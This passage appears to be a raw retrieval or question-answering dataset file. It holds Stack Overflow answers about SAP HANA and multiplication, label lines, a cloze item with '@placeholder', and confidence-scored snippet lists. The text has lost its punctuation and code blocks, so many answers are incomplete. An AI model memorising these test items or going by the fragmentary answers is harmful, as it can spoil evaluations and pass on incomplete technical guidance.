HANA from the Spark-shell using SAP HANA Vora . I created the table using this command : .. . .. . If I execute a show table command it s showing the table name however when I execute sqlContext.sql select from ztemptest .show I get the error as seen in the below screenshot .. . .. . enter image description here http : i.stack.imgur.com Y3N0o.jpg .. . Answer : With the HANA datasource com.sap.spark.hana you can either query existing tables in HANA or create new tables in HANA . If you want to query an existing table you can either provide the column+datatype information of the HANA table or not . If you do not provide it the schema metadata is queried from HANA automatically . The error indicates that schema information was provided maybe in an earlier execution the table exists in HANA and the schema information in Vora does not match the table definition in HANA . Could you drop the existing table definition show tables is empty and recreate it with the command that you posted that does not provide column information . Comment : Thanks the error is resolved", "Question : I am a newbie for SAP I am using SAP HANA Studio . Have projects of SAP UI 5 MVC SAP HANA XS . On my researches I couldn t find an satisfying answer.Is there and if yes What are the ways to use Membership and Role provider in SAP UI .. . Answer : As far as i know there is no membership role provider in UI 5 . But HANA XS uses database users and you can create and assigns roles to them to access certain database tables views execute procedures . You can also specify if users have to be authenticated to access your application using an .xsaccess file http : help.sap.com saphelp hanaplatform helpdata en 5f e3b123826d4503aa66eb955a002821 content.htm fullscreen true", "Question : I hava a SAP HANA XS Server with some DB Tables and an OData service . I am able to connect to the OData service and to read data . As soon as I try to Create Update Delete data I get the 403 - Forbidden Error . Actually my user has the required rights to execute all of the mentioned actions I created data using the SQL command-line in HANA Studio . When I try the same with the SYSTEM user I get the same result . .. . Answer : I am guessing that your OData service is defined to not allow modifications of the data . From the SAP HANA Developer Guide http : help.sap.com hana SAP HANA Developer Guide for SAP HANA Studio en.pdf : .. . .. . By default all entity sets and associations in an OData service are writeable that is they can be modified with a CREATE UPDATE or DELETE requests . However you can prevent the execution of a modification request by setting the appropriate keyword create update or delete with the forbidden option in the OData service definition . The following example of an OData service definition for SAP HANA XS shows how to prevent any modification to the table myTable that is exposed by the OData service . Any attempt to make a modification to the indicated table using a CREATE UPDATE or DELETE request results in the HTTP response status 403 FORBIDDEN .", "Question : I am a newbie for SAP I am using SAP HANA Studio . Have projects of SAP UI 5 MVC SAP HANA XS . On my researches I couldn t find an satisfying answer.Is there and if yes What are the ways to use Membership and Role provider in SAP UI .. . Answer : Can you maybe try to elaborate more on what your scenario use-case is I don t seem to be able to fully understand what you are trying to ask . SAP UI5 is just a bunch of UI libraries that is specific to SAP applications . There shouldn t be any membership role involvement in developing a UI5 application since the admin should be the one doing that .", "Question : Currently I can only see the file HANASPARKCTRL00P 5-70001262.RPM in SAP SWDC under HANA Platform Components . Does it mean that Ambari-managed installation is no longer supported or I simply miss the required authorisation in the Services Portal .. . Answer : There is no Ambari installation for Spark Controller 1.5 . It is only possible as of Spark Controller 1.6 . The installation instructions can be found in the HANA Admin Guide http : help.sap.com hana SAP HANA Administration Guide en.pdf current version is from 5 11 2016 - chapter 9.2.3.1 Set up Spark Controller using Ambari as well as in the attachments of SAP Note 2318054 SAP HANA Spark Controller 1.6.0 SPS 11 and Higher Compatible with Spark 1.5.2 http : service.sap.com sap support notes 2318054 .", "Question : We are facing a problem with Imapla Column naming convention which seems unclear to us . The CDH imapala documentation http : www.cloudera.com documentation archive impala 2-x 2-0-x topics impala identifiers.html 3rd bullet point says : An identifier must start with an alphabetic character . The remainder can contain any combination of alphanumeric characters and underscores . Quoting the identifier with backticks has no effect on the allowed characters in the name . Now due to dependency with the upstream SAP systems we had to name a column name starting with 0 zero as numeric . While defining and extracting the records from the table impala does not show any semantic error . While connecting Imapala with SAP HANA through SDA Smart Data Access the extraction is failing for this particular column which is starting with a leading zero 0 and fine for rest of the columns which are starting with an alphabet . The error shows as .. . Encountered : DECIMAL LITERAL .. . .. . I have to points . 1 . If the documentation says an identifier can not start anything other that alphabet then how the imapla query is running without any issues . 2 . Why the error is only raised while it is getting extracted from SAP HANA . Any insight will be highly appreciable . .. . Answer : Ok I can only say something about the SAP HANA side here so you will have to check the Impala side somehow . The error message you get while accessing an external table via SDA typically comes from the 3rd party client software in this case the ODBC driver you use to connect to Impala . So SAP HANA tries to access the table through the Impala ODBC driver and that driver returns the error message . I assume that the object name check for Impala is implemented in the client in this case . Not sure if the way you use to run the query in Impala also uses the driver . But even if Impala has the limitation for the table naming in-place I fail to see why this would force you to name the table in SAP HANA that way . If the upstream data-access requires the leading 0 just create a view on top of the table and you re good to go . Comment : Thanks for responding . Not sure if I follow your correctly . The reason the column is staring with 0 as its as per SAP systems which HANA also has link-to . So Imapala gets the data from HANA which is already having leading zero as column . Now we are doing some heavy processing in Big Data as HANA is not capable to do so . After processing we want to get the data back from Impala to Hana this is where it get fails . Comment : Ok so first of all SAP HANA is perfectly capable of doing Big Data analytics - it s merely a matter of costs that would be incurred . So your source tables have the zero as the first character so what As you apparently pump the data out you can name the target structure whatever you like . Instead of a 0 you could put a X in the target column name . You simply have to adjust the column mapping then . Comment : Thanks for the feedback . Renaming the column is always as option . However we are very keen to know the limitations on the naming convention and the synchronization . We need to know is this a genuine limitation that HANA can not read columns starting with a numeric in Hive Impala . If that is the case we have to architect accordingly . Also renaming is not a good option for enterprise as we will loose the naming synchronization across different SAP systems and the Big Data Apps . Comment : As you have shown with the link-to the impala documentation this limitation is due to impala not SAP HANA . It seems like Impala is not able to support your enterprise naming approach .", "Question : I m new at HANA Studio so please excuse me . I am getting an error while creating function in SAP HANA Studio . Here s my function : .. . .. . error : .. . .. . Could not execute CREATE FUNCTION PAYROLLDBTEST .GetAbsenteeismDays -- Add the parameters for the function here .. . in 2 ms 807 s . SAP DBTech JDBC : 257 at 576 : sql syntax-error : incorrect syntax near RETURNS : line 23 col 1 at pos 576 .. . Answer : There are two types of functions in HANA : Table functions and scalar functions . According to the SAP HANA SQL Script Reference SPS 07 using DDL and DML within a table function is not allowed . Scalar functions do not support any kind of SQL-statements . You return only a value and not a table so you are trying to create a scalar function . Your mentioned example executing a Select-statement inside a scalar function won t work . But instead of creating a function you can also easily create a procedure containing the same functionality if you really only need to get one float number . Comment : thanks a lot for the advice @shofmn it worked fine . Thanks", "Question : Does anyone know how to get the Max Index of an array in SAP Hana stored procedure . How can I get the Maximum Index via a single call for populated SAP Hana String array . I am looking for something similar to : .. . Answer : You can get the maximum Index with the function .. . .. . For your example : .. . .. . Source : http : help.sap.com hana sap hana sql script reference en.pdf", "Question : Running HANA on-premise I want to authenticate users in my xs-application against our existing LDAP-Server . Furthermore I need to read user-related information from LDAP like the users group and provide this information inside of my xs-application . What is the best way to do configure this in HANA .. . Answer : You can setup SAP HANA as Service Provider SP and configure XS applications to use SAML an ADFS can act as SAML Identity Provider IDP givin you the information you need . There is a good article published here how to setup HANA google for sap hana saml : http : scn.sap.com community developer-center hana blog 2015 03 14 use-saml-to-enable-sso-for-your-xs-app-on-sap-hana-sps-09-rev-92-or-later Comment : Also please note that if your LDAP server is not Active Directory you would need ADFS 2016 to authenticate users in LDAP directories .", "Question : I have a HANA project hosted on Amazon Web Service . I also have a trial instance of HANA . How can I copy or export my project from Amazon to the trial instance using HANA Studio .. . Answer : Importing and Exporting in HANA is done through Delivery Units and Packages . You will need to create a Delivery Unit in your AWS instance add your project to that Delivery Unit as a package . Then you will export the Delivery Unit . On your trial instance you will import the Delivery Unit . Creating a Delivery Unit http : scn.sap.com community developer-center hana blog 2014 06 08 introduction-of-delivery-unit-in-sap-hana .. . .. . Importing a Delivery Unit http : help.sap.com saphelp hanaplatform helpdata en e6 c0c1f7373f417894e1f73be9f0e2fd content.htm .. . .. . Maintaining Delivery Unit http : help.sap.com saphelp hanaplatform helpdata en ad e5e9094bff4bbbbb37c06f8258046d content.htm" ] }
[ "yes-answer-long", "yes-answer-short" ]
database
UNK_RELATION
multiplication@scaling@67
multiplication -- multiplication is the mathematical operation of @placeholder one number by another .
{ "confidence": [ 35.24732208251953, 34.166893005371094, 33.72168731689453, 33.63866424560547, 32.933902740478516, 32.781681060791016, 32.420501708984375, 32.420501708984375, 32.22324752807617, 32.10749816894531, 32.08021545410156, 31.120452880859375, 31.120452880859375, 31.120452880859375, 31.120452880859375, 31.120452880859375, 31.120452880859375, 31.120452880859375, 30.914880752563477, 30.914880752563477, 30.827564239501953, 30.553701400756836, 30.55145263671875, 30.3115234375, 30.271337509155273, 30.271337509155273, 30.21481704711914, 30.21341323852539, 29.876209259033203, 29.876209259033203, 29.876209259033203, 29.876209259033203, 29.876209259033203, 29.876209259033203, 29.284648895263672, 29.253650665283203, 29.253650665283203, 29.253650665283203, 29.253650665283203, 29.253650665283203, 29.253650665283203, 29.253650665283203, 29.253650665283203, 29.253650665283203, 29.253650665283203, 29.135353088378906, 29.135353088378906, 29.135353088378906, 29.135353088378906, 29.027095794677734, 29.027095794677734, 29.027095794677734, 28.534244537353516, 28.286239624023438, 28.286239624023438, 28.245193481445312, 28.245193481445312, 28.245193481445312, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.205184936523438, 28.048023223876953, 28.048023223876953, 28.048023223876953, 28.009408950805664, 28.009408950805664, 28.009408950805664, 28.009408950805664, 27.574993133544922, 27.516557693481445, 27.35607147216797, 27.35607147216797, 27.35607147216797, 27.35607147216797, 27.35607147216797, 27.35607147216797, 27.35607147216797, 27.35607147216797, 27.35607147216797, 27.35607147216797, 27.35607147216797, 27.35607147216797 ], "content": [ "Here is another approach for Multiplication", "GAUSS s approach does actually make mathematical sense it would make sense to overload as meaning elementwise multiplication in the case of scalar matrix and standard multiplication in the case of matrix matrix because elementwise multiplication is the standard mathematical interpretation of scalar-by-matrix multiplication .", "The number function just uses multiplication under the hood .", "Using a bitshift operator does not necessarily compile to a bitshift assembly operation not does using multiplication necessarily compile to multiplication .", "Since there is a large number of subgroups coding each multiplication manually should be avoided .", "What is multiplication", "Modulo is a division operation which is more expensive than multiplication .", "BLAS defines the GEMV Matrix-Vector Multiplication level-2 operation .", "For multiplication you d have to start at one .", "I am trying to do simple two number multiplication in Prolog .", "There is also Hadamard product elementwise multiplication but it s not considered as matrix-multiplication .", "There is still a multiplication in the loop .", "Answer with no multiplication or division :", "err.. . a 1 b IS a multiplication .", "would be needed for matrix-multiplication", "Does matlab supports such multiplication", "Does matlab support such a multiplication", "Is there a method for doing matrix-multiplication", "Code .. . .. . For multiplication :", "After multiplication .", "And .. . .. . The same multiplication algorithm should be used so that the number of flop is the same .", "Multiplication is a commutative operation if the operand expressions have no side effects .", "means multiplication operation .. . means remainder operation edited to clarify .. . x and result are dynamic .", "But they consider only the half of the problem - multiplication of vector by matrix .", "not in the multiplication speed of large integers .", "on row col multiplication .", "I managed to write the vector-vector multiplication function that looks like this : .. . .. . and now I m trying to implement matrix-vector multiplication .", "Do you have to find the first element after multiplication or during multiplication", "Long multiplication should be ok performance .", "EDIT : .. . .. . I m not looking for a classical multiplication .", "A multiplication is a bunch of shift-and-add operations .", "And did they use the same multiplication algorithm", "Double check the syntax for matrix-multiplication .", "Matrix multiplication in numpy is done with dot", "After this you can do element-by-element multiplication .", "Multiplication is sometimes not the fastest shifter.. .", "With multiplication it is very similar by the way .", "This should work for multiplication :", "What about Matrix multiplication", "The result-of this multiplication is : - 2592000000 .", "Precompute multiplication result for these matrices .", "If they are numpy.ndarray objects then is elementwise multiplication .", "But then look at matrix-multiplication .", ".. . Multiplication by scalars is not allowed .", "For matrix-multiplication there is a better approach .", "I want to implement multiplication of two integer numbers without using multiplication operator in .NET .. . .. . Any idea", "bit shifting IS faster than multiplication or division BUT any decent compiler will optimise a multiplication by a constant into a set of bitshifts if at all possible .", "This method compares possibly overflowing result-of normal multiplication with the result-of multiplication which cannot overflow .", "Once you have the result-of the multiplication remember to add the extra 32bits at the end of the a 1 multiplication .", "You can t beat matrix-multiplication .", "If have a quesstion regarding matrix-multiplication .", "The matrix-multiplication method is in the DoubleAlgebra class .", "I think you do one more multiplication than necessary .", "I ve just plotted the results : cloud.github.com downloads MartinThoma matrix-multiplication http : cloud.github.com downloads MartinThoma matrix-multiplication charts.pdf", "Multiplication cost is O m 2.4 too and you are doing way more multiplication then I do .", "I would like to have MATLAB perform matrix-multiplication where all multiply operations are replace by plus operation .", "Either way the spirit of make sure you re using the right operation is maintained and the answer covers both element and matrix-multiplication .", "It s probably obvious but I don t see how to use BLAS operation for this multiplication .", "now i want to make the multiplication of the odd position", "Small integral powers are easily done by simple multiplication .", "Now what if I wanted the higher part of the multiplication", "Some more high bits of long multiplication in Java", "You can use bitwise-operators to do multiplication .", "I would like it to not be element-wise multiplication .", "Following this division would be as expensive cheap as multiplication .", "It is a classical tiled implementation of a matrix-matrix multiplication .", "I want to do multiplication of the attributes contained in these objects .", "echo the values of a and b before you do the multiplication .", "@Pedr And you ve failed to explain why multiplication is unacceptable .", "I have a program that does a lot of matrix-multiplication .", "This multiplication should not use any inbuilt function .", "Neither pyspark.ml.linalg.Matrix nor pyspark.mllib.linalg.Matrix implements matrix-multiplication .", "You must be doing element-wise multiplication in numpy .", "The approach to this problem is matrix chain multiplication and dynamic-programming .", "Matrices multiplication can be done if their inner dimensions are equal .", "Then add the result-of the multiplication of a 1 and 1 0 together .", "Just build a new vector by row-wise multiplication of elements in A .", "The multiplication also can be regarded also as X FF t X .", "Nxk stands for N rows k columns is algebraic multiplication t transposing .", "Let s begin by looking the multiplication code .", "That method is called Division by Invariant Multiplication .", "Multiplication of an infinity by a zero results in NaN .", "If they are matrix objects then yes is matrix-multiplication .", "The threshold for multiplication is around 32 98 bits and for sqr around 32 389 bits so if the sum of input bits cross this threshold then Karatsuba multiplication will be used for speeding up multiplication and that goes similar for sqr too .", "With the temporary array there are three loads and one store per multiplication .", "Multiplication electronically is am much more complicated circuit .", "Division by 2 can be replaced by multiplication by 0.5 .", "Multiplication is usually significantly faster than division .", "I think it s the matrix-multiplication at the end .", "It speeds up multiplication using the divide-and-conquer approach .", "I m trying to implement Strassen Matrix multiplication in Python .", "I m conducting a similar research on matrix-multiplication now .", "Issue persists with getting the incorrect answer to the multiplication .", "How can I calculate this multiplication using JAMA", "http : creately.com diagram example i5z9v65u1 Multiplication 20LMC", "The critical part of my code is matrix-multiplication .", "Why not just diagonalize the matrix to make the multiplication cheap ." ] }
{ "confidence": [ 40.25414276123047, 37.532257080078125, 36.982635498046875, 36.494205474853516, 35.64992141723633, 34.49137496948242, 34.17925262451172, 34.13932418823242, 34.051605224609375, 33.7283821105957, 33.61777114868164, 33.4847412109375, 33.48181915283203, 33.3420524597168, 33.31981658935547, 33.143829345703125, 32.78314208984375, 32.72069549560547, 32.58867645263672, 32.51536560058594 ], "content": [ "Question : Why do I need to add an L letter to get the correct long value And what is the other value .. . Answer : Without the L your computation is carried out as a 32-bit value . If you express the values as hexadecimal the smaller value is just the lower 4 bytes of the larger value . Java defaults to the 32-bit integer type . The L for Long is 64 bits . By putting L after 365 you are telling the compiler to treat 365 as a long value . When 32 and 64 bit values are multiplied the compiler upcasts the 32-bit value to 64 bit so that your intermediate results in evaluating your expression retain the full 64 bit range . See Primitive Types and Values in the Java Language Specification https : docs.oracle.com javase specs jls se7 html jls-4.html jls-4.2 . The behavior of multiplication is explicitly defined at https : docs.oracle.com javase specs jls se7 html jls-15.html jls-15.17.1 as follows : .. . .. . 15.17.1 Multiplication Operator .. . .. . The binary operator performs multiplication producing the product of its operands . Multiplication is a commutative operation if the operand expressions have no side effects . While integer multiplication is associative when the operands are all of the same type floating-point multiplication is not associative . If an integer multiplication overflows then the result is the low-order bits of the mathematical product as represented in some sufficiently large two s-complement format . As a result if overflow occurs then the sign of the result may not be the same as the sign of the mathematical product of the two operand values . .. . The result-of a floating-point multiplication is governed by the rules of IEEE 754 arithmetic : .. . .. . If either operand is NaN the result is NaN . If the result is not NaN the sign of the result is positive if both operands have the same sign and negative if the operands have different signs . Multiplication of an infinity by a zero results in NaN . Multiplication of an infinity by a finite value results in a signed infinity . The sign is determined by the rule stated above . In the remaining cases where neither an infinity nor NaN is involved the exact mathematical product is computed . A floating-point value set is then chosen : .. . If the multiplication expression is FP-strict 15.4 : .. . If the type of the multiplication expression is float then the float value set must be chosen . If the type of the multiplication expression is double then the double value set must be chosen . If the multiplication expression is not FP-strict : .. . If the type of the multiplication expression is float then either the float value set or the float-extended-exponent value set may be chosen at the whim of the implementation . If the type of the multiplication expression is double then either the double value set or the double-extended-exponent value set may be chosen at the whim of the implementation . .. . Next a value must be chosen from the chosen value set to represent the product . .. . If the magnitude of the product is too large to represent we say the operation overflows the result is then an infinity of appropriate sign . .. . Otherwise the product is rounded to the nearest value in the chosen value set using IEEE 754 round-to-nearest mode . The Java programming language requires support of gradual underflow as defined by IEEE 754 4.2.4 . .. . Despite the fact that overflow underflow or loss of information may occur evaluation of a multiplication operator never throws a run-time exception .", "Question : I have the methods that do both the multiplication and addition but I m just not able to get my head around them . Both of them are from external websites and not my own : .. . .. . I tried doing a step-by-step debug but it really didn t make much sense to me though it works . What I m possibly looking for is to try and understand how this works the mathematical basis perhaps . Edit : This is not homework I m just trying to learn bitwise operations in Java . Comment : The multiplication one is very much the same as the pen-and-paper algorithm your learned in middle school only in binary . It uses the fact that 001011 X 001000 X + 000010 X + 000001 X . .. . Answer : Here is another approach for Multiplication", "Question : First of all I am aware that to turn a unitless value into one with a unit I can multiply a unitless value by a single unit : .. . .. . However I would like to know if there is any way to do this when the unit is dynamic . Obviously if I was to make the value of unit 1rem I could just multiply as in my first example but is there a way to do this with a naked unit value . Sassmeister here http : sassmeister.com gist f1f76837e7e342e4f556 .. . .. . Edit As @zessx correctly states CSS doesn t care about the type and will treat both string and number values identically in this case . However I need to perform operations on the value once the unit has been appended . Edit I m not sure how I can be any clearer . I don t want need a function that uses multiplication under the hood . I already know how that works and how to do it . I am interested if there is a way to take a unitless value and a unit and make a united number out of it . Is there a a way to take px and 22 and make 22px that is a number and can have mathematical operations performed on it Any answer that shows me how I can take 1px and 22 and do the same thing is not answering the question I m asking . Comment : Due that you ve used interpolation in the united-value the type of this variable is a string but you can t use the unitless sass function with a string . So the only way to achieve your goal is to set unit to 1rem . Why don t you want to set unit to 1rem Check out this sassmeister http : sassmeister.com gist 4fa18d1d5f86bcb95411 Comment : @AlexGuerrero This is part of a much bigger library that uses a lot of validations and dynamic interpolations . As I think I made clear I don t want to multiply . I currently need two lists - one of plain units and one of single value units . I m trying to remove the need for the second list . Comment : You haven t made it clear as to why it is unacceptable that multiplication is involved . As it stands this is something you ll need to take up with the maintainers of Sass . You know what they ll tell you Please . Just use unit based arithmetic https : github.com sass sass issues 533 . Comment : @cimmanon What has the context got to do with anything I ve deliberately removed all context from the question to make it simple . If the answer is that you can t do it then that s the answer . Comment : @Pedr And you ve failed to explain why multiplication is unacceptable . .. . Answer : There s no sass native way to achieve your goals . The problem is that unit is a string and in sass like other languages when you make operations with a string and a number it automatically concatenates both and returns a string . And there is no native function that performs this operation here s the reason of the creator of sass : .. . .. . these functions would encourage more sloppy code than they do add expressive power . More info about this topic here https : github.com sass sass issues 740 .. . .. . Alternatives .. . .. . So you can only use multiplication as you ve mentioned before or if you don t want to use multiplication you can use this function to convert unit strings into numbers : .. . .. . As you can see it takes a number and a unit as arguments and it returns them as a length number . So in your case you only need to change this declaration : .. . .. . By this other : .. . .. . This is an idea grabbed from Hugo Giraudel s blog https : github.com sass sass issues 740 Comment : That function is using two lists and does what it does by using multiplication : number nth units index . It s just a more complex version of my first example and doesn t address my question at all . Comment : @Pedr And This function is returning a number which is exactly what you re asking for . This is the correct way to solve the problem . Comment : @cimmanon Try reading more than just the title of the question for once . Comment : @Pedr I don t understand why you ve downvote my answer I ve tried to give you another workaround without multiplication it doesn t use 1rem use rem only and obviously doesn t use multiplication even under the hood . As I ve said before there s no sass native way to do that you want . But anyway with this solution you can perform operations on the value once the unit has been appended Comment : Well that is an admirable sentiment . However I m afraid I m going to force you to do so while at the same time bestowing an extra point on you with an upvote . Sorry about that .", "Question : I ve gotten a MLE estimator that is written in GAUSS that I am trying to re-code into R . I do not use nor have I ever used GAUSS itself and do not have access to it . In the code there is a line that is a bit confusing to me . In the validated GAUSS code there is a line under the inputs part of the comments that states : .. . .. . I am working on getting the code to work piece by piece but my first question is something relatively simple . Here is the GAUSS snippet that confuses me : .. . .. . I understand that this is the identity matrix multiplied by the input invsig but in simulated examples that works from log files attached to the code the program can be started using the scalar value of invsig . IE : setting an initial value as invsig 1 .. . .. . In R this is not working . Here is the simple test code to try to get this : .. . .. . I understand the non-conformable error that I am getting in R . The question is am I missing something in the conversion between GAUSS and R In reading the help manuals online GAUSS does matrix operations by using the individual symbols +- and to do things element-wise you add a . before each operation . So to me the GAUSS code is saying to do matrix-multiplication in R and that is what the simple function tries to do . Any comments or suggestions are greatly appreciated Comment : This isn t the problem you ask about but in GAUSS it looks like m is defined as the number of rows in y but in R you make m the number of rows in x . Comment : Thanks yeah the sample function is an adaptation of the GAUSS code not word for word replica . They have several different matrices like this in a large program so I accidentally mixed variables but the problem remains if I go back and change it back from x to y . .. . Answer : Your problem is that you can t matrix multiply a 3x3 matrix with a 1x1 matrix . I d recommend something like .. . .. . Edited I had left in the multiplying by diag m in the first case but of course it s unnecessary if invsig is already a matrix . Comment : Thanks I will try this . I am still confused on the difference between GAUSS and R in their matrix-multiplication . I don t understand how in their GAUSS code it can both work as a matrix and a scalar at the same time unless I am omitting something . The fact that it can be both a scalar and a length m matrix and still solve both ways is unusual . Comment : I don t know GAUSS either but maybe they have a nice and confusing default where a matrix times a scalar returns the matrix regular times the scalar . Comment : GAUSS s approach does actually make mathematical sense it would make sense to overload as meaning elementwise multiplication in the case of scalar matrix and standard multiplication in the case of matrix matrix because elementwise multiplication is the standard mathematical interpretation of scalar-by-matrix multiplication . MATLAB GAUSS AD Model Builder are seem more consistent with math notation to me even if R s Hadamard product notation is more convenient for programming .. . Comment : @BenBolker agreed . Although definitely something I can see both sides to like the default of drop TRUE . Comment : @BenBolker : Thanks for the clarification . While it might make sense mathematically it makes things a bit more complex to go between the two languages . @ shujaa : the method works great to work between the scalar matrix problem . I appreciate it", "Question : This question already has an answer here : .. . .. . Matrix multiplication problems - Numpy vs Matlab questions 30577114 matrix-multiplication-problems-numpy-vs-matlab 1 answer .. . .. . Here s the matrix .. . .. . Matlab gives me .. . .. . However the same operation on same data in python numpy produces different result . I m unable to understand why produces .. . .. . Snapshot http : i.stack.imgur.com luden.jpg Comment : You must be doing element-wise multiplication in numpy . In Matlab x . . x gives the same result as you have there . Double check the syntax for matrix-multiplication . Comment : @mikkola indeed the documentation http : docs.scipy.org doc numpy-1.10.1 reference generated numpy.multiply.html confirms it . You might want to make that an answer . Matrix multiplication in numpy is done with dot Comment : Not a duplicate I think this is about the multiply method unlike the other question Comment : @DavidZ I guess . and multiply are equivalent . Either way the spirit of make sure you re using the right operation is maintained and the answer covers both element and matrix-multiplication . Comment : @excaza I vote for Not Duplicate I did land on the other question but that wasn t so clear .. . Answer : Numpy documentation http : docs.scipy.org doc numpy-1.10.1 reference generated numpy.multiply.html states that the operator you apply performs element-wise multiplication . However mtimes http : se.mathworks.com help matlab ref mtimes.html in MATLAB does matrix-multiplication . To verify MATLAB syntax for element-wise multiplication produces the same result you see in numpy :", "Question : How does Montgomery Multiplication work in speeding up the encryption process for computing c m e n as used in RSA encryption I understand that Montgomery multiplication can efficiently multiply a b n but when trying to find m e n is there a more efficient way of multiplying m m e number of times than just looping through and computing a Montgomery multiplication each time I m using the gmp libraries so I can work with larger numbers here . r and r p are being pre-calculated in a separate function and are global . In this example I m working in powers of 10 though i realize it would be more efficient to work with powers of 2 .. . .. . I convert to montgomery form prior the the multiplications and repeated multiply m m in the for-loop converting back to normal world at the end of the m e step . I m curious as to know whether there is another way to compute operation m e n in a different way rather than just cycling through in a for-loop As of now i believe this to be the bottle neck of the computation however I could very well be wrong . the actual montgomery-multiplication step occurs in the function below . Is this at all how RSA encryption works with the montgomery-multiplication optimization .. . Answer : No you do not want to do e multiplications of m by itself to compute RSA . You normally want to do me mod n by doing repeated squaring there are other possibilities but this is a simple one that s adequate for many typical purposes . In a previous post on RSA http : stackoverflow.com a 20114154 179910 I included an implementation that used a pow mod function . That in turn used a mul mod function . Montgomery multiplication is basically an implementation of that mul mod function that s better suited to working with large numbers . To make it useful however you just about need something on at least the general order of the pow mod function not just a loop to make e calls to mul mod . Given the magnitude of numbers involved in real use of RSA trying to compute me mod n just using repeated multiplication would probably take years quite possibly quite a few years to complete even a single encryption . In other words a different algorithm isn t just a nice optimization--it s absolutely necessary for use to be practical at all . To put this in algorithmic terms raising AB using plain multiplication is basically O B . Doing it with the repeated squaring algorithm shown there it s basically O log B instead . If B is very large at all the difference between the two is immense .", "Question : I saw an interesting technique used in an answer http : stackoverflow.com a 14539116 367273 to another question http : stackoverflow.com questions 14537831 isolate-specific-row-column-diagonal-from-a-64-bit-number and would like to understand it a little better . We re given an unsigned 64-bit integer and we are interested in the following bits : .. . .. . Specifically we d like to move them to the top eight positions like so : .. . .. . We don t care about the value of the bits indicated by . and they don t have to be preserved . The solution http : stackoverflow.com a 14539116 367273 was to mask out the unwanted bits and multiply the result by 0x2040810204081 . This as it turns out does the trick . How general is this method Can this technique be used to extract any subset of bits If not how does one figure out whether or not the method works for a particular set of bits Finally how would one go about finding the a correct multiplier to extract the given bits Comment : If you found that one interesting have a look at this list : graphics.stanford.edu seander bithacks.html http : graphics.stanford.edu seander bithacks.html A lot of them ab use a wider-integer multiplication division to achieve interesting results . Reverse the bits in a byte with 4 operations part shows how to deal with the bitshift multiplication trick when you don t have enough space and need to mask multiply twice Comment : @viraptor : Excellent point . If you understand the limitations of this method you can really use multiplication to accomplish a lot with respect to bit-manipulation . Comment : So interestingly there is an instruction in AVX2 which sadly isn t available yet that does exactly the operation you describe : software.intel.com sites products documentation studio composer http : software.intel.com sites products documentation studio composer en-us 2011Update compiler c intref cls common intref avx2 pext u.htm Comment : Another place to look for clever bit-twiddling algorithms is MIT HAKMEM http : en.wikipedia.org wiki HAKMEM Comment : Um livro que conhe o sobre o assunto e gosto bastante o Hacker s Delight link http : www.amazon.com Hackers-Delight-Henry-S-Warren dp 0201914654 .. . Answer : Every 1-bit in the multiplier is used to copy one of the bits into its correct position : .. . .. . 1 is already in the correct position so multiply by 0x0000000000000001 . 2 must be shifted 7 bit positions to the left so we multiply by 0x0000000000000080 bit 7 is set . 3 must be shifted 14 bit positions to the left so we multiply by 0x0000000000000400 bit 14 is set . and so on until .. . 8 must be shifted 49 bit positions to the left so we multiply by 0x0002000000000000 bit 49 is set . The multiplier is the sum of the multipliers for the individual bits . This only works because the bits to be collected are not too close together so that the multiplication of bits which do not belong together in our scheme either fall beyond the 64 bit or in the lower don t-care part . Note that the other bits in the original number must be 0 . This can be achieved by masking them with an AND operation . Comment : Great explanation Your short answer made it possible to quickly find the value of the magic number . Comment : This really is the best answer but it wouldn t have been so helpful without reading the first half of @floris s answer first . Comment : +1 for capturing so much of the explanation in so few words", "Question : I ve written the following Python Pandas code to multiply each column of an M row x N col dataframe A by an M x 1 dataframe b to yield the M x N dataframe C : .. . .. . In other words it multiplies each column of a matrix by a column vector of equal length . The code works fine but I can t recall the formal name for this operation . Thoughts .. . Answer : It is called broadcasting . Please see the numpy documentation on the subject : Broadcasting http : docs.scipy.org doc numpy user basics.broadcasting.html . Also it is important to note that A.values and b.values are not matrices they are arrays . This may seem like a minor detail but it is very important . Many mathematical operations on matrices produce completely different results than their corresponding operations on arrays . So for example M1 M2 is a matrix product for matrices while it is an element-by-element multiplication for arrays . See more details in This answer http : stackoverflow.com a 4151251 3604159 .", "Question : BLAS defines the GEMV Matrix-Vector Multiplication level-2 operation . How to use a BLAS Library to perform Vector-Matrix Multiplication It s probably obvious but I don t see how to use BLAS operation for this multiplication . I would have expected a GEVM operation . Comment : transpose x . transpose A A.x .. . Answer : The Matrix-Vector multiplication of a M x N Matrix with a N x 1 Vector will result an M x 1 Vector . In short a A MxN X Nx1 + b Y Mx1 - Y Mx1 . Of course you can use INCX and INCY when your vector is included in a matrix . In order to define a Vector-Matrix multiplication The Vector should be transposed . i.e . a X 1xM A MxN + b Y 1xN - Y 1xN . Basically you do not have a vector but a single row matrix . Starting from this point there are two possibilities . Either use level-3 GEMM .. . .. . using .. . .. . Or do some more math . Considering that X A T A T X T the row matrix X is converted to vector X T MX1 . Also Y transpose is vector Y T Nx1 . Of course memory-wise both X and X T are store with the same way sequentially . This means you can use again GEMV using transpose matrix A Comment : Thanks for the explanation and the precise examples it works well : Comment : I tried both . But gemm is around 2 3 times faster than gemv . Shouldn t gemv always be faster than gemm", "Question : I need to write matrix-vector and matrix-matrix multiplication functions but I cannot wrap my head around SSE commands . The dimensions of matrices and vectors are always multiples of 4 . I managed to write the vector-vector multiplication function that looks like this : .. . .. . and now I m trying to implement matrix-vector multiplication . Here s what I have so far : .. . .. . This function looks completely wrong . I mean not only it doesn t work correctly but it also seems that I m moving in the wrong direction . .. . .. . Could anyone help me with implementing vector-matrix and matrix-matrix multiplication I d really appreciate some piece of example code and a very detailed explanation .. . .. . Update .. . .. . Here s my attempt number 2 : .. . .. . it fails with Access reading violation exception but still feels closer .. . .. . Update 2 Comment : Do you know how to write it in scalar code Because not even the general structure matches that of a matrix-vector multiplication Comment : well in scalar code it is really easy but it s been just two hours since I found out about SSE and I might do a lot of stupid stuff here Comment : stackoverflow.com questions 14967969 http : stackoverflow.com questions 14967969 efficient-4x4-matrix-vector-multiplication-with-sse-horizontal-add-and-dot-prod .. . Answer : Without any tricks or anything a matrix-vector multiplication is just a bunch of dot products between the vector and a row of the matrix . Your code doesn t really have that structure . Writing it actually as dot products not tested : .. . .. . There are some obvious tricks such as processing several rows at once reusing the load from the vector and creating several 